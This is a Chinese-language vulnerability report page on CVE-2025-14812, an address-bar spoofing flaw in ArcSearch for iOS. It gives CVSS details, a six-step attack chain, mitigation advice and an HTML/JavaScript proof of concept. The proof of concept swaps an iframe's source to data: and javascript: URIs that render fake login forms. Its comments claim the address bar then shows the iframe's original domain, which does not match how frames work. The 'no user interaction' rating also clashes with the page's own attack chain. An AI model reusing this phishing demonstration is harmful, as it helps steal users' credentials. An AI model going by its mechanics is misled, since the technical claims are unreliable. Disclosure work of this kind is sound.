IPBUF安全漏洞报告
English
CVE-2025-14812 CVSS 7.5 高危

CVE-2025-14812 ArcSearch iOS地址栏欺骗漏洞

披露日期: 2025-12-19
来源: 59469e6c-7ea7-446f-8e43-06aa32c115e8

漏洞信息

漏洞编号
CVE-2025-14812
漏洞类型
地址栏欺骗
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ArcSearch for iOS

相关标签

地址栏欺骗URL欺骗UI欺骗ArcSearchiOS钓鱼攻击CVE-2025-14812URI-schemeiframe

漏洞概述

CVE-2025-14812是影响ArcSearch for iOS应用程序的一个地址栏欺骗漏洞。该漏洞存在于1.45.2之前的所有版本中,攻击者可以利用iframe触发的URI-scheme导航,在地址栏显示一个域名,而实际显示的内容来自另一个域名。这种欺骗技术使用户难以识别他们正在访问的真正网站,从而增加了钓鱼攻击和社会工程攻击的成功率。攻击者可以诱导用户访问恶意网站,窃取敏感信息(如登录凭证、个人数据)或执行其他恶意操作。由于该漏洞不需要任何认证,也不需要用户交互即可利用,因此风险级别较高。建议所有ArcSearch iOS用户尽快升级到1.45.2或更高版本以修复此安全漏洞。

技术细节

地址栏欺骗漏洞的核心问题在于浏览器或应用程序未能正确同步地址栏显示的URL与实际加载内容的来源。具体来说,当页面使用iframe元素加载第三方内容,并通过JavaScript触发URI-scheme导航(如javascript:、data:或其他自定义协议)时,地址栏可能仍然显示原始的父页面URL,而不是反映当前iframe内容的真实来源。ArcSearch for iOS在处理iframe触发的URI-scheme导航时存在此问题,攻击者可以构造恶意网页,在iframe中加载钓鱼内容,同时保持地址栏显示可信域名。攻击者利用此漏洞可以创建看似来自合法网站的钓鱼页面,诱骗用户输入敏感信息。修复此漏洞需要在导航发生时正确更新地址栏,并确保显示与实际内容来源一致的URL。

攻击链分析

STEP 1
步骤1
攻击者创建一个包含恶意代码的网页,该网页使用iframe加载一个合法网站(如银行或社交媒体)
STEP 2
步骤2
受害者在ArcSearch iOS浏览器中访问该恶意网页,地址栏显示的是合法网站的域名
STEP 3
步骤3
恶意网页通过JavaScript在iframe中触发URI-scheme导航,将iframe的src属性更改为data:或javascript:协议
STEP 4
步骤4
iframe现在显示攻击者精心设计的钓鱼内容(如伪造的登录表单),但地址栏仍然显示原始的合法域名
STEP 5
步骤5
受害者误以为自己在合法网站上,输入了敏感信息(用户名、密码、信用卡号等)
STEP 6
步骤6
恶意代码捕获用户输入的数据并将其发送到攻击者控制的服务器,导致凭据泄露或财务损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-14812 PoC: Address Bar Spoofing via iframe-triggered URI-scheme navigation --> <!DOCTYPE html> <html> <head> <title>Address Bar Spoofing PoC</title> </head> <body> <h1>ArcSearch iOS Address Bar Spoofing Demo</h1> <p>This PoC demonstrates the CVE-2025-14812 vulnerability.</p> <script> // Simulate the address bar spoofing attack function triggerSpoofing() { // Create an iframe pointing to a legitimate site const iframe = document.createElement('iframe'); iframe.src = 'https://www.example.com'; iframe.id = 'targetFrame'; document.body.appendChild(iframe); // After a delay, trigger URI-scheme navigation in the iframe setTimeout(() => { // This navigation will show a different domain in address bar // while displaying malicious content const frame = document.getElementById('targetFrame'); frame.src = 'data:text/html,<html><body><h1>Fake Login Page</h1><form><input type="text" placeholder="Email"><input type="password" placeholder="Password"><button>Login</button></form></body></html>'; // The address bar still shows example.com, but content is from data: URI console.log('Address bar spoofing triggered successfully'); console.log('User sees: https://www.example.com'); console.log('Actual content: data:text/html (malicious phishing page)'); }, 2000); } // Alternative method using javascript: URI function triggerJavaScriptSpoofing() { const iframe = document.createElement('iframe'); iframe.src = 'https://www.bank.com'; document.body.appendChild(iframe); setTimeout(() => { iframe.src = 'javascript:void(document.write("<html><body><h1>Please Login Again</h1><form><input type=\"email\"><input type=\"password\"><button>Submit</button></form></body></html>"))'; }, 2000); } </script> <button onclick="triggerSpoofing()">Test Data URI Spoofing</button> <button onclick="triggerJavaScriptSpoofing()">Test JavaScript URI Spoofing</button> <h2>Attack Scenario:</h2> <ol> <li>Attacker hosts this malicious page or injects it via XSS</li> <li>Victim using ArcSearch iOS visits the page</li> <li>Page loads legitimate domain in iframe (address bar shows trusted domain)</li> <li>JavaScript redirects iframe to attacker-controlled content via URI-scheme</li> <li>Address bar still shows legitimate domain, but content is malicious</li> <li>Victim enters credentials thinking they're on legitimate site</li> <li>Attacker steals credentials</li> </ol> <h2>Fix:</h2> <p>Upgrade ArcSearch for iOS to version 1.45.2 or later</p> </body> </html>

影响范围

ArcSearch for iOS < 1.45.2

防御指南

临时缓解措施
如果无法立即升级,请在ArcSearch iOS中浏览时保持警惕,不要点击来源不明的链接,避免在任何网页中输入敏感信息,尤其是当页面行为异常时(如突然要求重新登录)。建议使用设备的系统浏览器进行敏感操作,并关注官方安全公告。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表